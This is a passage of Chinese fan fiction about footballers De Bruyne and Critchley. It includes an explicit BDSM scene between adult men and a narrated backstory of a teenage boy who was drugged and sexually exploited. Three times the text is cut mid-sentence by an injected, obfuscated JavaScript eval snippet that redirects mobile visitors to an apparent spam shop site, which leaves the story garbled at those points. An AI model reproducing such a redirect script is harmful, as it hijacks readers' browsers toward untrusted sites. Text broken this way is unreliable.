“他不在。你是谁,可以给他留个口信。”托马斯眼神有些轻蔑的上下扫了德布劳内一眼。 “噢,不用了,我给他打电话吧,我是…他同事。”德布劳内冷脸冷言,不想多说一句话,转身就走。 “同事?”托马斯不是傻瓜,他看的出这个金发碧眼的男人不是一般人,他气质高贵,谈吐不凡,目光冷清锐利,在看到自己半裸时那双幽蓝的眼睛闪现着阵阵寒光,错愕中带着一点敌意。 “等等。”托马斯身子倚在门框上,手搭在浴巾的边缘,摆出一副不可一世的姿态,对德布劳内说:“我会告诉他有个年纪大的有点小帅的金发男人来找他,并且不敢告诉我名字,什么都不说就走了。” 德布劳内站定了一下,回头看了一眼这个英语不太溜的小孩在组织十分不友好的英语向他挑衅。 “哦?你告诉他,凯文德布劳内亲自找他,叫他来拿落在我家的东西,顺便让他收一下养小狗的钱。” 德布劳内一点没退让,这个小崽子明摆着在向他展示地位和态度,就像一只小狗,有主人撑腰就敢咬人一样,生怕别人抢了他的饭碗。 结果,让德布劳内更加笃定的是,克里奇利突然改变主意答应给他干活赚2倍周薪是因为他确实有个吞金兽要养。 这个托马斯在他身后不依不饶的说:“养小狗那是他的本事,你想养还养不了呢,顺便说一下,他就喜欢年轻漂亮的小奶狗!哼!” 门被大力关上。 德布劳内带着闷气一脚油门开回了家。 这个时候,完美解决了后顾之忧还带着战利品归来的克里奇利,还不知道托马斯给他挖了多么大的一个坑。 他开心的哼着小曲回到家,准备告诉他“儿子”一个好消息and另一个不知道是好是坏的消息。 29.第 29 章 克里奇利回到家,托马斯立刻黏上来,殷勤的帮他脱大衣挂起来,又拉着他袖子去厨房给他端上来一份刚从保温袋里拿出来的三明治。 “又闯祸了?”克里奇利瞪他一眼,面上却淡淡的笑着。 “没有,怎么会闯祸呢,三明治全卖了,我还特意给你留了一份。”托马斯仰着他漂亮精致没有任何岁月痕迹的小脸蛋骄傲的说,接着掏出一把零钱在克里奇利眼前晃了晃,“看,今天赚了这么多。” “哟!很可以啊!”克里奇利看着那些一块两块的零钱赶紧夸他,把不应景的那句讽刺咽了下去,如果说比不了你扭臀选美赚的凤毛麟角,那就是他父母的做派。 克里奇利咬了一口三明治,觉得这三明治实在是又贵又不好吃,这一口下去就是一万起,但他现在饿了,这一口来的还挺及时。 到现在为止,还没给孩子做一顿像样的饭菜呢,倒是经常夜不归宿,喝多了吐还有忙的忘了吃饭时被这个不会做饭的“小天使”反哺,想想自己也跟个没长大的孩子似的。 现在感到一身轻的他就算养个崽也高兴,虽然这个崽快成年了,而且不知道经历了什么,动不动就往他的床上爬,还时不时的说要报答他的话,每次都被他戳着脑门赶下床,再重申一遍规矩。 “托马斯,去收拾一下餐桌,我给你做点好吃的。”克里奇利说着从冰箱里拿出牛肉芦笋生菜扇贝等食材,稍微一加工,就变成一道雪花牛肉芦笋卷和椒盐扇贝生菜沙拉,还去阳台揪了几片薄荷和紫苏炸了一份香气飘飘的排骨。 托马斯看到这些食材像变魔术似的在他修长骨感的手指下切切抓抓直到被端上桌,惊讶的张大了嘴巴,一会看看菜一会看看克里奇利,严重怀疑这个大大咧咧随性而活的英格兰人可能是个扮猪吃老虎的神仙下凡要么就是什么圣体转世投胎。 让他惊讶的下巴都快掉下来的是克里奇利又掏出了他的手表放在了餐桌上,随后拿起一瓶香槟打开倒了一杯,给他拿了一罐可乐,邀请他共度晚餐。 托马斯刚来英国时看什么东西都好,他也享受过住五星级酒店吃米其林大餐的待遇,但没几天就画风急转直下,混迹在酒吧跌落在底层了,现在他又有种被宠的感觉了,他也要喝香槟,但被克里奇利眼神警告,只好悻悻的拿起可乐与他碰杯。 “布莱恩,你还有什么惊喜?这手表怎么拿回来的?你去了鸟鸣?” “不知道对你来说算不算是惊喜,我还拿回了你的包还有这个。” 克里奇利把一个蓝色的小本子放在了桌上。 “噢天哪!我的护照!”他又本能的冒出了西语。 “你见到我叔叔了?” “很遗憾,我没见到,边吃边说吧。” 克里奇利告诉他,你叔叔可能真的抛弃你了,不过没关系,有了护照我们可以做很多事情,比如我可以担保你留在英国,只要你乖乖的不要做违法乱纪的事,不然罚款是小事,信誉受损是大事。 托马斯像个听话的小学生,坐在那一边吃着好吃的饭菜一边听着他一口好听的有那么点难懂的英语,神情一会紧张一会出神一会又欢心雀跃,直到吃完饭他看克里奇利懒散的叼了根烟,他立刻拿起打火机给他点上。 一团白烟从口中呼出,克里奇利看出他好像有什么心事,于是语气缓和的安慰道,“也不要因为你叔叔不要你而难过了,你有手有脚也可以在英国混下去,有我在,就不会让你流落街头。” 托马斯低垂下眼睛,手里摆弄着打火机,语气有些忐忑,声音也是极低的从嗓子里发出,就像一缕青烟害怕人闻见又不得不说,“那个,布莱恩,谢谢你。” 克里奇利摆摆手。 “下午有人来找你,我忘了和你说。”他觉得有必要坦白,不然会觉得内心过不去,克里奇利对他这么好,自己不应该乱干涉他的生活。 “哦?” “一个金发有点小帅的男人,年纪大约30岁上下。” “谁呀?”克里奇利在脑子里搜索30岁左右的金发男人,还有点帅,不会是他吧。 “呃…” “凯文德布劳内?” “嗯。” “什么?”克里奇利身子往前一倾,像被电击了一下后背,眼睛眨也不眨的盯着托马斯的脸,还真是他。“他有没有说什么?” “啊…他很生气。” “为什么?” “因为我…” “你说什么了?” “我说你不喜欢年纪大的,喜欢…” “喜欢你这样的年轻小屁孩?” “呃…”托马斯低下了头。 “我的天,托马斯,你可真是个魔鬼。” 克里奇利唰的站起来,抓起他的大衣就出了门,一边走一边看手机,果然有一个德布劳内的未接来电。 “等等。”托马斯拉住他的胳膊,“你要去哪?” “别管我的事,大人之间的事!” 看着他急匆匆的好像被火点着了一样的冲出去,托马斯瘪了瘪嘴,心里感到不是滋味,他靠在门框上,鼻子泛了酸,他不想说对不起,只觉得刚被撑起的一片天又塌了。 克里奇利打了个车前往德布劳内家,在车上打电话不方便,于是发了个信息给他。 [德布劳内先生,吃饭了吗?] 等了半天他没回。 克里奇利看到他家对面的商场有一个eous领带世家,他走进去选了一条大理石纹的领带,想用来弥补托马斯带给他的言语伤害,随领带还赠送了几支迎春花。 这个时候他也收到了德布劳内的回信。 [怎么?你要上岗啊?] [是的,我就在你家楼下。] [上来吧。] 德布劳内认定了他是来赚钱的,刚从客场回来,就迫不及待的要加班打工养小狗了。 再见面的时候,克里奇利穿着一个立领的羊毛大衣,里面是一件深蓝色的衬衫,看着像刚从big office下班回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14572905|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手里还拿着一把小黄花还有一个精致的礼盒。 人模狗样。德布劳内盯着他的脸,眼神中闪过一丝轻蔑,如果说之前靠的是感觉,那么现在的克里奇利就是一个伪君子,表面对钱持不稀罕的态度,实际上各种巴结讨好有钱人的青睐,赚着看似高尚的良心钱,实际上根本没底线没节操。不过怎么赚钱那是他的事,本来德布劳内也不在乎,但是他居然拿自己的钱去养小白脸,对方还是个孩子呢。 死变态。德布劳内抿了抿嘴唇,给他开了门就转身去了客厅,一语不发的好像在酝酿什么东西。 “这是我在利物浦给你买的礼物,我觉得它很适合你。” 说着,克里奇利就把领带礼盒还有一把小黄花递给他。 “跟我家楼下那个领带世家一个样,他家逢春就送迎春花,你有心了。” 德布劳内接过来看也没看就放在茶几上,他现在觉得克里奇利就是一个彻头彻尾的大骗子,骗财骗色骗小孩,是时候给他点教训教他怎么做人了。 克里奇利有些心虚的挠挠头,没想到送礼物都能碰壁,想来也是自己愚笨,在兔子窝边上采草给他,还不被他咬一口。 他没再说什么,考虑到现在已经快8点了,德布劳内没吃饭一定很烦躁,先伺候好他的胃再说。 “老板,你想吃什么?” “随便。” 德布劳内手里碾着那条好看的深色纹理的领带,觉得他审美还可以,他戴应该更符合他大尾巴狼的气质。 克里奇利打开他家的冰箱,摇了摇头,只有一些酒水和速食品,巧妇难为无米之炊,做什么给他吃呢。 “你也不买点爱吃的东西,我赚你的钱对付你有点心虚啊,这顿免费。” “你还心虚?这不就是你想要的吗?” “什么?” “没什么。”德布劳内觉得他殷勤的有点过了,要是真有诚意不想昧着良心赚钱就该提前买好食材,而不是过了饭点还来打卡这几个小时的兼职。 好在有面包,香肠,鸡蛋,奶酪这些每个人都会储备的东西,还有一根黄瓜。 他用黄瓜炒鸡蛋香肠给他做个三明治吃,结果被德布劳内一把把黄瓜抢了去,接着抽了他屁股一下,说,“这个等会再用。” 克里奇利失笑,心想,虽然我是来登门道歉的,也不能再让你攻了,黄瓜也不行。 德布劳内吃了一口他五分钟就“对付”给他的三明治,他只是用黄油煎了一下香肠和吐司而已,怎么可以这么香,自己买的西班牙火腿一直都是直接啃,从来没下过锅,被他煎炒了以后口感鲜甜有韧劲儿,他真的是擅长玩火之人。 不过这三明治再好吃也不能上万,就不能给他点脸,“一般吧”,德布劳内说着,然后几口就塞完了,接着从酒架上选了一瓶威士忌,打开倒了两杯。 “这可是你开的啊。”克里奇利端起了酒杯。 “嗯,快喝,喝完了陪我玩个游戏。” “艾斯爱慕啊?” 30.第 30 章 德布劳内洁白如瓷的手指捏住那只漂亮的圆锥形高脚杯,举起来在他眼前晃了晃,语气带着几分懒散,“美酒品鉴家,尝尝陈酿威士忌够劲儿不?” “我的舌头可是顶级配置,鉴酒品茗找我就对了。” 德布劳内现在看他越发不着调,更是对他的言语腔调表示不屑。 “事实上,我今天来是要对你说声对不起的。”克里奇利接过那只高脚杯,忘了过舌头一口闷了,没想到度数不算高的威士忌经过了珍藏后变得浓郁干烈,冲的他差点没咳出来,接着就感到了胸腔的灼热感。 “道歉的话等干了这三杯再说。” 德布劳内不是有意要灌醉他,就是想治他的滑头。 不知不觉就处在下风向的克里奇利以为他要喝酒助兴,这对身经百战的酒场惯犯来说绝不在话下,即使他知道自己酒量酒品都不咋地,喝多了更是六亲不认,但今天也得有点诚意不是。 连干了三杯后,他就不在乎自己有什么歉意了。一场误会而已,解不解释全看心情,一会好好伺候一下这只30岁上下有点小帅的大橘猫才是正事。 小孩子才认错,做选择,大人不需要,特别是guys之间,简单来说,没有克里奇利搞不定的人和事,如果有,就搞两次。 “我的歉意都在行动里,德布劳内先生,你看上去比陈酿还烈。” 他起身双腿交叠一个翻路障的动作就从狭长的餐桌上越过去了,酒精的作用和德布劳内有些过分的盯看让他气势瞬间高昂了起来。 他一手抓住德布劳内的左肩,另一只手就抚上了他的脸颊,上了几步就把他顶在了身后的橱柜边,逼迫德布劳内不得不用手撑住台面来站稳脚跟。 这回说什么也不能让位置了。 他的吻如雨点般砸了下来,没有试探,没有含蓄,也没有一点要道歉的意思,而是带着他一贯的热情奔放和不怕挨揍的自信,游刃有余的撬开对方抿的紧紧的嘴唇,把口中烈酒的芳香毫无保留的渡给了他。 辛辣中带着一丝果木熏香的味道,在他们唇齿交互中被慢慢浸染品尝。 在撕扯中差点就被他的吻给打乱了节奏扰乱了心神的德布劳内,在马上要被他托到台面上时猛地清醒过来,他今天的目的是什么,绝非被经验丰富的大尾巴狼牵着鼻子走,他才是这场游戏的主导者。 “等等,我不是说要玩个游戏吗?你急什么?”德布劳内把胳膊横在他胸前,抵住了他伸长的脖子。 “噢,好,乐意奉陪。”克里奇利听话的放开钳住他腰身的大手,抱着肩膀等待着他的指令。 不知道为什么,克里奇利似乎对德布劳内没有抵抗力,大概是上帝在创造他时给他下了一个一看到金发碧眼的美男子就眼晕的魔咒,让他一直沉迷在耀眼的金色中无法抵抗。 德布劳内竟然拿来一副手铐,面无表情的向他走来。 克里奇利大概猜到他要玩什么,但看着一向清冷自持的人主动挑起事端还是眼睛一亮,酒劲儿似乎清醒了几分。 “噢我的先生,你喜欢玩这个?”他语气里全是笑意,一边搓着手一边迎上去,看起来像找到了播放小电影的按钮,一脸的兴奋和期待。 德布劳内晃了晃手里的金属制品,发出哗啦哗啦的响声,接着伸出手去好像很放心的要把自己的手腕交给他。 白嫩到几乎看得清皮下血管的手臂在冰冷金属镣铐的衬托下,令人血脉喷张的一场狂欢在克里奇利的眼前一闪而过。 他虽然是个混圈老手,也见过不少世面,但是一向用自身魅力就可以轻松获得不少资源的顶级top,说实话玩的并不多,现在被一眼看上去就内秀一百分的德布劳内主动邀请,竟然还有点小害羞。 反正是铐他,一会轻点打他意思意思就行了,他这么想着,毕竟还要给他道歉家里的小崽子言语冲撞了他,不过道歉的话现在说出来不是时候,会破坏了这撩人的气氛。 谁知他刚把手伸过去准备去拿手铐,突然被德布劳内一脚踹了脚踝,力度不大但足以让他劈叉,这个黄牌动作十分不友好,别说他这个门外汉,就是职业足球运动员也得被这一脚立刻踹翻。 没顾得上喊疼,他接着就被德布劳内一把抓住手掌,压住手指向后掰过去,接着咔哒一声,他被铐在身后奢华的意大利巴洛克风格的实木置物桌上。 “啊嗷!”他这才发出一声惨叫,是屁股狠狠着地带给他的痛楚和手腕被勒痛的错愕。 他用另一只手好不容易支起上半身,揉着胯骨,眉头紧皱的看向这个突然袭击他的人,语气不平稳的说道:“我知道你有这个癖好,但是为什么?一定要这么的不温柔,这跟你温文尔雅的外表反差太大了!” “我向来不好说话,而且脾气很臭,但我知道好歹,遇到你这样的人就忍不住要出手教训教训你。” “什么?你说清楚!我是怎样的人,我可不是斗M?” “披着羊皮的狼。” “不是,德布劳内,你是不是对我有什么误解。” “一会再说吧。” 德布劳内又拿出一副手铐扔给他,让他把另一只手也铐在桌子腿上,他说:“你开玩笑呢?我才不听你的,赶紧给我解开,我跟你好好掰扯掰扯,你对我误解可大了。” 德布劳内笑了笑,扬起了手中的皮鞭,接着给了他一个居高临下不容置疑的眼神。 铐还是不铐,克里奇利也懵了。 他不会真下手打我吧? 啪的一声,一鞭子抽在他大腿上,这一下更是把他抽的困惑起来,“喂,你搞错了。” “快点!下一鞭子我可就使劲儿了啊!” 克里奇利无语了。不过,看着德布劳内水蓝的眼睛里没有杀气,好像只是想得到一些屈服他的回应,那就陪他演一会吧。 克里奇利觉得玩这个总得有让步的一方,他应该不会乱来的。 于是他捡起地上的手铐,把自己两只手铐在一根桌子腿上,桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14597096|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子很高,而且中间有个横着的木条支撑,这样他就被迫双手举高铐在自己的头顶,坐在地上,后背靠着一根桌子腿,杀伤力大大减弱。 克里奇利知道自己要说些什么来争取被温柔以待。 他说:“我替我家的托马斯多明戈斯向你郑重道歉,他不该说那样的话,你一点都不老,还又帅又可爱。” “少来这一套,现在知道求我了。” “我没求你,我在跟你说实话,我在解释,凯文,哦不,Sir。” “我不买账。” “噢,别这样,凯文,他只是一个孩子。” “你也知道他只是一个孩子!” “不是,什么意思?他确实是…” 克里奇利开始解释这个小孩是他从大街上捡的,如果不收留他他就会… 没等他说完,德布劳内拿来桌上的领带,过来就又给了他一鞭子,趁他嗷的一声拿起他买的领带卷巴卷巴就塞他嘴里去了。 “呜呜…”克里奇利被剥夺了话语权不说,大腿上又挨了一鞭子,这一鞭子可比刚才疼多了。 “布莱恩克里奇利,本来我觉得你是一个聪明洒脱而且自信勇敢的人,而且对我来说,是一个很特别的人,因为一开始我对你的浪荡气质感到很不屑,但随着你加盟曼城尽心尽力的为我们的饮食下功夫,对每个球员的口味和喜好都愿意去了解,对我更是关照有加,我承认我有点改观,但是,你!你竟然拿我的钱去养小白脸,他还是个孩子呢!未成年吧!你可太不是个东西了!” 他终于知道德布劳内生的什么气了。真是荒谬!而且是超级超级无比巨大的误会,他明明是个好人啊,怎么被误解为一个真正的衣冠禽兽了呢。 “呜呜…呜…” “我现在就跟你玩艾斯爱慕,但是我手底下没数,你别介意,反正你也不是什么好人,咱们开始吧,你要是敢用你那狗蹄子踢我,我就把你当球踢。” 说着他就又抽了他几下,倒不是很疼,毕竟是道具又不是真的鞭子,但让克里奇利眼角泛红的是他的误会和曲解。 他真的做到了和他假装玩艾斯爱慕实际上把他往死里打,一边打还一边教育他,喜欢小年轻是不是?喜欢养金丝雀是不是?把我当冤大头,昧着良心赚我的钱去骗小孩还当做慈善呢!你个伪君子! 他越说手底下就越没数,刚才激烈亲吻的时候克里奇利的衬衫扣子被他拽开了几颗,现在呈现在他眼前的是克里奇利线条硬朗的胸口被抽的红一道白一道的,让他嗓子感到干涸,兴致也不可控制的高涨起来。 克里奇利汗流浃背,口水沾湿了塞在他嘴里的还带着阵阵迎春花香气的领带,眼前雾蒙蒙的,不知道他还要教训他多久,很好,就让他打个够。 他打的多过瘾,自己有多惨,他一会就有多后悔。 克里奇利想明白了,现在不是养儿子的事儿了,好像要给儿子找个妈咪了,这个教训法绝对把整天想着靠脸吃饭的逆子管的死死地。 31.第 31 章 德布劳内打了一会儿自己也汗流浃背了,他双腿分跨在克里奇林的身体两侧,弯下腰用皮鞭柄挑起他的下巴。 他额头上渗出绵密的汗珠,一双湿漉漉的眼睛望向惩罚他的人,看上去很无辜,但德布劳内肯定这个眼神带着欺骗性,他就是用这双罪恶的眼睛勾走了多少少男的心。 教训他这么久也算可以了,他耐受力不错一点也没有反抗,更没有用他的狗蹄子来袭击自己,要知道虽然他被铐在桌子腿上,仍然可以踢人或者用蛮力把身后那个固定他的细木条拽断。 而且那团领带他也完全可以试着用舌头顶出来,他都没有这么做,只是隐忍的任由摆布。 德布劳内觉得惩罚的差不多了,他已经不像一开始时那么想要表现自己,解释自己,而是被教训的呈现着一种屈服美。 这种美并不是梨花带雨的示弱,也不是装可怜求饶,而是不做声响的抗争,好像积累着什么情绪,他一定有很多话想说,都印在他那双被泪水浸湿的双眸中,那样潮湿粘腻的看着他,有种提醒着执鞭者每打他一下就欠他好多钱的意味。 德布劳内头脑发热,只觉得自己被眼前真实的画面刺激的浑身坚硬,石更到发痛。 他把他嘴里的领带取出来。 克里奇利咬着牙说,“我劝你最好现在就给我堵上,否则一会儿我说的话将会让你跪下来。” “好啊,这可是你说的。” 德布劳内咬了咬嘴唇,犹豫了一瞬,接着身体向前倾去。 克里奇利愣了愣,发现自己根本没有说话的余地,谁能拒绝被热浪催熟而疯长的玉米杆子,在太阳地里凶猛的支起了一个遮阳伞呢。 那就让他的愧疚之意来的更猛烈一些吧。 有那么一瞬,德布劳内产生了不可名状的迟疑,自己原来也是这么的坏啊,借着惩罚的名义,对一个绝色top做出“压势”的举动,他竟然也没有任何抵触,就满足了自己乘势而为的野心,是对自己莫大的信任和纵容啊。 …… 风雨交加后,德布劳内在他身边缓缓坐了下来,伸手揪了揪克里奇利的衬衫领子,侧过头来看着他,经过了一番难以想象的震动,德布劳内微微的喘息像清风一样洒在了克里奇利的胸口,带给他阵阵凉意。 “玩够了?”克里奇利晃了晃手腕,金属桎梏下白嫩的手腕已经被摩擦的红肿不堪。 德布劳内从裤子口袋里摸出钥匙,举到他眼前晃了晃,警告他,“我现在给你打开,我信任你不会报复我,就像你在刚才的过程里选择信任我一样,你能做到吗?” “我发誓。” 德布劳内解开了手铐。 克里奇利双手搓了搓被勒痛的手腕,指了指自己的大腿。 德布劳内知道虽然隔着牛仔裤布料也能把他的大腿抽的青一块紫一块的,但是顺着他的手指看过去,就看到了因为没有拒绝自己的“堵嘴”行为而使一个正常的gay产生了正常的反应。 “呃……我不管,你先去洗个澡吧。”德布劳内觉得教训他教训的差不多了,让他洗个澡冷静一下,顺便冲去身上的粘腻,然后看心情是否要听他辩解什么,或者直接让他走人,以后别来了,他不想跟一个小崽子抢老烟枪,就算克里奇利长的再好看,做饭再好吃,也不可以脚踏两只船。 他脑补了一下,然后冷静的告诉自己,他脚踏几只船跟自己有什么关系,只要不做他的船就行。德布劳内打算恢复对他的初印象,不搭理他,不给他好脸色,也不再和他有任何瓜葛。 谁知克里奇利刚起身,就把自己一件一件的脱光了,从脖子到大腿像被猫挠了似的一道道的红印子,有的颜色深的是毛细血管破裂的出血点,看上去真是被德布劳内打的实惨。 “你的杰作。”他摊开手,表情反而有些得意。 “替天行道。”德布劳内面不改色心不跳。 “呵…”克里奇利笑了笑,“你可真是个天才,德布劳内,别以为我不敢动你,该换我了。” “休想。” “德布劳内,你在踢球的时候精明的像一个指挥家,实际上是一个糊涂蛋。” “少废话,洗完澡立刻离开。”德布劳内嘴上拒绝他,但满脑子都是他坐在地上仰着头的画面,说真的,他真有点舍不得这个放荡不羁的男人,就算他坏点又如何,他给自己的感觉超级棒,甚至多少带着些纵容,完全不像小自己几岁的人。 疲软的小猫很快就被持“枪”挟持,挣扎了几下就被蓄力已久的高大男人顶着腰身推进了浴室。 克里奇利单臂抱着他的肩膀,让他背对着自己站在倾泻的水帘里,闭着眼睛,把下巴搁在他的肩膀上,好听的英语像水珠一样在德布劳内的耳畔流淌,使他耳朵发痒,他把这段时间的经历一五一十的说给他听。 他说:“先生,你知道吗?我不喜欢把我的事都公开在台面上,当然也不喜欢别人误会我,认为我是一个无耻的混蛋,你更不可以,你是我遇到的所有人之中,我最想纵容的人。” “别给我说好听的,直接说重点,你说我误会你,来吧,编,编一个让我后悔的故事,让我为自己的误会买单。” “那我编了,你听着。” “托马斯是个gay不假,但不能因为他是gay就要忍受折辱,我带他回来的时候,他迷茫堕落的样子可比身上的伤痕严重多了。” “你?” “我的确做了很伟大的事。”克里奇利掰过他的肩膀,面对着他,手里拿着圆润的精油香皂在他胸前打出泡沫,“我不仅把他从几个要糟蹋他的小混混手里解救出来,我还再次把他从卖身的魔窟里捞出来,还了一笔无头债,当然我确实用了点拿不上台面的手段,不包括赚你的钱,你打给我的钱都在余额里,我只是象征性的收一下,以防你不好意思。” “好了,别编了,我洗完了。”德布劳内突然不想听下去了也拒绝相信他的鬼话,但他说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他走过去把他轻轻抱起来放到了沙发上,这一下把他弄醒了。 他睁开眼睛看了一眼克里奇利,然后抓住他的衣服蹭了蹭他,轻声说,“不是你的味道,布莱恩。” “嗯,你以后要对自己的言行负责,知道吗。”克里奇利说完就震惊了,他真的是一个好爹,教育孩子的同时把自己也顺带教育了。 “噢。”小家伙又压上了密密沉沉的睫毛,抓住柔软的毛毯,在沙发上睡着了。 克里奇利闻了闻身上的白色T恤,想起T恤的主人送他到楼下站在细雨里,带着些许歉意的告诉他,“我误会你了,你是一个正直有尊严的人。” 他则俏皮一笑,说了一句让德布劳内瞬间红温的话,“我的尊严在你的玉米地里算个屁。” 32.第 32 章 是时候为托马斯办理护照延期申请了,克里奇利咨询了律师,以担保人的身份带他去补交了罚款,又咨询了一些定居政策。 托马斯趴在柜台上,眨巴着那双水汪汪的大眼睛盯着工作人员的脸,一口西式英语战战兢兢的问道:“我可以申请英国国籍吗?” 工作人员是一个黑人女性,她看了看托马斯,忍俊不禁的回答他,“哦,多么漂亮的男孩子啊,如果我是劳工部负责人,一定会给你特批一个,但是你现在还是旅游照呢,申请英国国籍会是一个很漫长的过程。” 克里奇利拉着他到一边坐下,表情严肃的对他说,“你先别着急,咱们慢慢来。护照办好后,我们再想办法申请长期定居,你有了工作以后,这些事情都会迎刃而解的。” “可是叔叔说过可以的,只要我代表阿根廷赢得了世界先生,就可以留在英国,英国的娱乐圈业毕竟比阿根廷要发达的多,我需要双国籍,这会对我将来的发展有帮助的。” 克里奇利听了一脸震惊的看着他,没想到这个傻乎乎的小孩儿还挺有抱负的,他不是只有颜值没有脑子的小屁孩儿,他经历的人生可能比自己还要丰富,克里奇里不忍心打击他,于是对他说:“做什么事都要一步一步来啊,你现在拿着旅游照只能在英国观光,幸好有本英国人担保你,先办下来长期再说。” “我不想回去。”他抓住克里奇利的手,眼睛亮晶晶的看着他,就像一个饿极了的小狗。 克里奇利知道他并不想放弃自己阿根廷人的身份,仍然要代表阿根廷参加选美,但他不想回到那个噩梦开始的地方。 “你到底经历了什么可以和我说说吗?”克里奇利抽出手来,摸了摸自己的口袋,又扫了一眼大厅,暂时压住了烟瘾。 “我们出去说吧。”托马斯看出来他想吸烟,主动提出换个地方。 他们刚要出门就被那个工作人员叫住了,她对克里奇利招招手叫他们过去,然后对他们说,“我刚咨询了在劳工部的熟人,如果想要获得英国国籍的话,可以走特殊人才政策,比如在艺术体育方面有所建树,又或者可以办理收养或婚姻关系。” 说完,她抬头看了着克里奇利的脸,想笑又忍住了,克里奇利知道她什么意思,做伴侣太老当爹太小。 他对工作人员表达了感谢,然后领着托马斯走出了大厅。 工作人员又在他后面补了一句,“可不能造假啊,不然查出来你们都会被罚死的。” 托马斯把克里奇利当自己最信任的亲人,对他坦白了自己的身世。 他出生于阿根廷布宜诺斯艾利斯有名的维拉31贫民窟,父母没结婚,他出生时两个哥哥都大了,一个跟父亲擦鞋一个跟母亲做工,唯独没人愿意要他,从小被扔在奶奶家自生自灭,等他长到了能干活的年纪,就被母亲接走了,从此他又有了另一个家庭,母亲,继父和继父带来的哥哥。 他从11岁就开始打工,在酒吧卖过烟,巷子里捡过垃圾,餐馆里洗过盘子,16岁的时候,因为越长越漂亮,被一家高档餐厅选中做了服务员。 他很喜欢跳舞,特别是从酒吧里学到的那些脱衣舞。他想多赚些钱供自己去上学。有一次捡到一张报纸回家问哥哥这是什么意思,他的后哥哥欺负他不识字,告诉他这是高薪应聘家政,结果他去了以后才知道是同性恋裸男服务,被羞辱到只剩一条内裤的时候大喊着自己没成年才被放了回来,结果一分钱也没有赚到。 他很生气,回去质问哥哥,还被他哥哥嘲笑是一个白痴,连字都不认识。他把他那肥胖的连屁股都挪不起来的哥哥痛打了一顿,结果又被他继父用鸡毛掸子打出了家门,他母亲默默的看着这一切一句话也没有帮他说。 后来他为了多赚点钱在高档餐厅跳脱衣舞,被当值的经理怒批并要开除了他时,被他现在口中所称的叔叔给救了下来。 听完了这些之后,克里奇利感觉浑身发冷,好像掉进了一个冰窟,他把烟灭掉,搓了搓手,默默的牵着托马斯的手上了车。 托马斯还说他的叔叔叫埃里安,自称是阿根廷的一个富豪,给了他母亲1000万比索就把自己给买下来了,还带着他来到英国参加选美大赛,已经报名了,就在这个月15号参加集训,可直到现在也没有接到任何通知,他叔叔也不见了。 刚来的时候他住五星级酒店吃高档饭店,出行都有司机和化妆师,后来埃里安带他去酒吧,他喝了一杯饮料后就趴在桌上睡着了,等醒来的时候,埃里安就不见了,他一连在酒吧里等了好几天也没有等到,身上的钱也花光了,在酒吧临时跳脱衣舞才赚了一点生活费,再后来就被小混混拉到后巷里欺负,然后被克里奇利出手相救,他一直不明白的是他叔叔埃里安为什么会抛弃他。 克里奇利问他,什么酒吧。 他说就是普通的酒吧,男的跳舞,女的来看,然后往舞男裤子里塞小费,也有男的塞小费的,他的客户什么都有。 克里奇利扶额,也就是在曼城,要是在伦敦,说不定自己也塞给过他小费。 “那你打电话联系他了吗?” “打了,一开始他不接,后来他接了,告诉我,我没有商业价值了,我不懂,为什么我会突然没有商业价值了。” “他有没有对你做什么?” “有。他……” “他对你做了什么?” “什么都做了。” “然后说你没有商业价值了?” “嗯。” “什么鬼?他是什么妖魔鬼怪?玩够了?” 克里奇利怒砸方向盘,但他也想不明白,这个叫埃里安的到底是个什么人。 回到家以后,克里奇利还是给他倒了一杯温水,摸摸他的头,不忍心但又想搞明白事情的来龙去脉,也好想办法帮助他,于是问他,“这个埃里安到底是个怎样的人呢?” “我也不知道,他大约50几岁,看上去很儒雅,出手也很阔绰,还有几个和我一样大的男孩子在他手下,都很漂亮,但我觉得都没有我漂亮。” 托马斯英语不太好,和西语混着说,但也能表达的差不多,他喝了一口水,继续说:“一开始他对我很好,每天晚上都叫我去他房间,给他服务,还教我一些话术,比如有人问你为什么来参加选美,就说为了宣传阿根廷的旅游业,让更多的人认识阿根廷,了解阿根廷,所以我是在做一些时髦有意义的事。每次我说完,他都很满意的叫我过去,奖励我吃一些蓝色的糖,他说这是让我长高和增肌的营养品,然后很宠溺和我跳舞,他体力不太好,跳一会就累了,要不是他跳累了让我上床,我能跳一晚上。” “唉,别说了,我心脏要受不了了。”克里奇利越听越感到毛骨悚然,他这么放浪形骸的一个人都没50岁老头玩的花,那个埃里安搞不好是个银魔啊,那些蓝色的糖也可能是E丸。 “对了,我有件事还没说,我不太想说。” “我也不逼问你,但我觉得你叔叔不是什么好人,也许是因为你快成年了就不要你了,那些报名参加选美的都是狗屁,他把你带到另一个国家,玩够了就扔了,你可真…” 克里奇利想说他傻,又咽了下去,他只是一个社会底层经验丰富但还不懂得有钱人的手段和变态需求的小孩,被骗到异国他乡也不足为奇,1000万比索他查了一下才7000磅,但足以让一个贫穷的家庭过上一段时间富足的生活。 